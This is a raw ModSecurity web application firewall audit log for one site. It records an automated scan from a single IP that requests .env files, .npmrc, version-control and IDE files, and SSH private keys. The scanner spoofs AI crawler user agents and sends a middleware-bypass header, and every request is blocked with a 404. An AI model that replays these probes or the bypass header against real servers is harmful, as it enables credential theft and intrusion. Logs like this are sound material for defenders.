--5dc4f855-B--
GET /admin/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5dc4f855-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5dc4f855-E--
--5dc4f855-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/admin/.env"] [unique_id "aqaA00wu1RSkptiiNIX7mQAAAJQ"]
Stopwatch: 1789296851432279 6554 (- - -)
Stopwatch2: 1789296851432279 6554; combined=4815, p1=308, p2=4374, p3=78, p4=9, p5=45, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5dc4f855-Z--
--fd897870-A--
[13/Sep/2026:13:54:11.455219 +0300] aqaA02M7dE9KgIIOpQh6iAAAANc 35.236.177.61 34948 127.0.0.1 7081
--fd897870-B--
GET /backend/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--fd897870-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--fd897870-E--
--fd897870-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/backend/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6iAAAANc"]
Stopwatch: 1789296851442652 12680 (- - -)
Stopwatch2: 1789296851442652 12680; combined=10451, p1=481, p2=9799, p3=99, p4=11, p5=61, sr=191, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fd897870-Z--
--d3b24469-A--
[13/Sep/2026:13:54:11.477139 +0300] aqaA02M7dE9KgIIOpQh6iQAAAMc 35.236.177.61 34962 127.0.0.1 7081
--d3b24469-B--
GET /config/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d3b24469-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d3b24469-E--
--d3b24469-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/config/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6iQAAAMc"]
Stopwatch: 1789296851466466 10786 (- - -)
Stopwatch2: 1789296851466466 10786; combined=8616, p1=447, p2=7986, p3=99, p4=11, p5=72, sr=174, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d3b24469-Z--
--b66f2e3f-A--
[13/Sep/2026:13:54:11.998972 +0300] aqaA02M7dE9KgIIOpQh6jgAAAMs 35.236.177.61 35070 127.0.0.1 7081
--b66f2e3f-B--
GET /.github/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b66f2e3f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b66f2e3f-E--
--b66f2e3f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.github/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6jgAAAMs"]
Stopwatch: 1789296851979204 19823 (- - -)
Stopwatch2: 1789296851979204 19823; combined=18176, p1=250, p2=17769, p3=93, p4=10, p5=53, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b66f2e3f-Z--
--8233204e-A--
[13/Sep/2026:13:54:12.095207 +0300] aqaA1Ewu1RSkptiiNIX7nQAAAIc 35.236.177.61 35098 127.0.0.1 7081
--8233204e-B--
GET /.npmrc HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8233204e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8233204e-E--
--8233204e-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.npmrc"] [unique_id "aqaA1Ewu1RSkptiiNIX7nQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.npmrc"] [unique_id "aqaA1Ewu1RSkptiiNIX7nQAAAIc"]
Stopwatch: 1789296852060984 34283 (- - -)
Stopwatch2: 1789296852060984 34283; combined=32373, p1=324, p2=31871, p3=93, p4=11, p5=73, sr=140, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8233204e-Z--
--d55fec14-A--
[13/Sep/2026:13:54:12.318379 +0300] aqaA1GM7dE9KgIIOpQh6kwAAAM8 35.236.177.61 35162 127.0.0.1 7081
--d55fec14-B--
GET /.svn/entries HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d55fec14-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d55fec14-E--
--d55fec14-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.svn/entries"] [unique_id "aqaA1GM7dE9KgIIOpQh6kwAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.svn/entries"] [unique_id "aqaA1GM7dE9KgIIOpQh6kwAAAM8"]
Stopwatch: 1789296852280825 37619 (- - -)
Stopwatch2: 1789296852280825 37619; combined=35912, p1=283, p2=35488, p3=79, p4=8, p5=54, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d55fec14-Z--
--68c00941-A--
[13/Sep/2026:13:54:12.620373 +0300] aqaA1GM7dE9KgIIOpQh6lwAAAMk 35.236.177.61 35238 127.0.0.1 7081
--68c00941-B--
GET /.idea/WebServers.xml HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--68c00941-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--68c00941-E--
--68c00941-H--
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqaA1GM7dE9KgIIOpQh6lwAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqaA1GM7dE9KgIIOpQh6lwAAAMk"]
Stopwatch: 1789296852587025 33404 (- - -)
Stopwatch2: 1789296852587025 33404; combined=31486, p1=360, p2=30976, p3=80, p4=8, p5=62, sr=153, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--68c00941-Z--
--333d5038-A--
[13/Sep/2026:13:54:12.770352 +0300] aqaA1CsVWymXUono-eRWRwAAABg 35.236.177.61 35256 127.0.0.1 7081
--333d5038-B--
GET /.ssh/id_rsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--333d5038-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--333d5038-E--
--333d5038-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/id_rsa"] [unique_id "aqaA1CsVWymXUono-eRWRwAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/id_rsa"] [unique_id "aqaA1CsVWymXUono-eRWRwAAABg"]
Stopwatch: 1789296852732131 38272 (- - -)
Stopwatch2: 1789296852732131 38272; combined=35967, p1=241, p2=35602, p3=70, p4=8, p5=45, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--333d5038-Z--
--778ba61e-A--
[13/Sep/2026:13:54:12.796853 +0300] aqaA1Ewu1RSkptiiNIX7oQAAAIE 35.236.177.61 35264 127.0.0.1 7081
--778ba61e-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--778ba61e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--778ba61e-E--
--778ba61e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqaA1Ewu1RSkptiiNIX7oQAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqaA1Ewu1RSkptiiNIX7oQAAAIE"]
Stopwatch: 1789296852763827 33126 (- - -)
Stopwatch2: 1789296852763827 33126; combined=30380, p1=279, p2=29958, p3=86, p4=8, p5=49, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--778ba61e-Z--
--a9bd3c0c-A--
[13/Sep/2026:13:54:12.837351 +0300] aqaA1Ewu1RSkptiiNIX7ogAAAII 35.236.177.61 35270 127.0.0.1 7081
--a9bd3c0c-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a9bd3c0c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--a9bd3c0c-E--
--a9bd3c0c-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqaA1Ewu1RSkptiiNIX7ogAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqaA1Ewu1RSkptiiNIX7ogAAAII"]
Stopwatch: 1789296852801592 35811 (- - -)
Stopwatch2: 1789296852801592 35811; combined=34320, p1=246, p2=33946, p3=70, p4=7, p5=50, sr=112, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a9bd3c0c-Z--
--45d3503f-A--
[13/Sep/2026:13:54:12.874915 +0300] aqaA1GM7dE9KgIIOpQh6mAAAAM4 35.236.177.61 35272 127.0.0.1 7081
--45d3503f-B--
GET /.ssh/id_dsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--45d3503f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--45d3503f-E--
--45d3503f-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/id_dsa"] [unique_id "aqaA1GM7dE9KgIIOpQh6mAAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/id_dsa"] [unique_id "aqaA1GM7dE9KgIIOpQh6mAAAAM4"]
Stopwatch: 1789296852841332 33635 (- - -)
Stopwatch2: 1789296852841332 33635; combined=32163, p1=292, p2=31678, p3=142, p4=7, p5=44, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--45d3503f-Z--
--d99a7b2e-A--
[13/Sep/2026:13:54:12.905129 +0300] aqaA1GM7dE9KgIIOpQh6mQAAAMU 35.236.177.61 35286 127.0.0.1 7081
--d99a7b2e-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d99a7b2e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d99a7b2e-E--
--d99a7b2e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
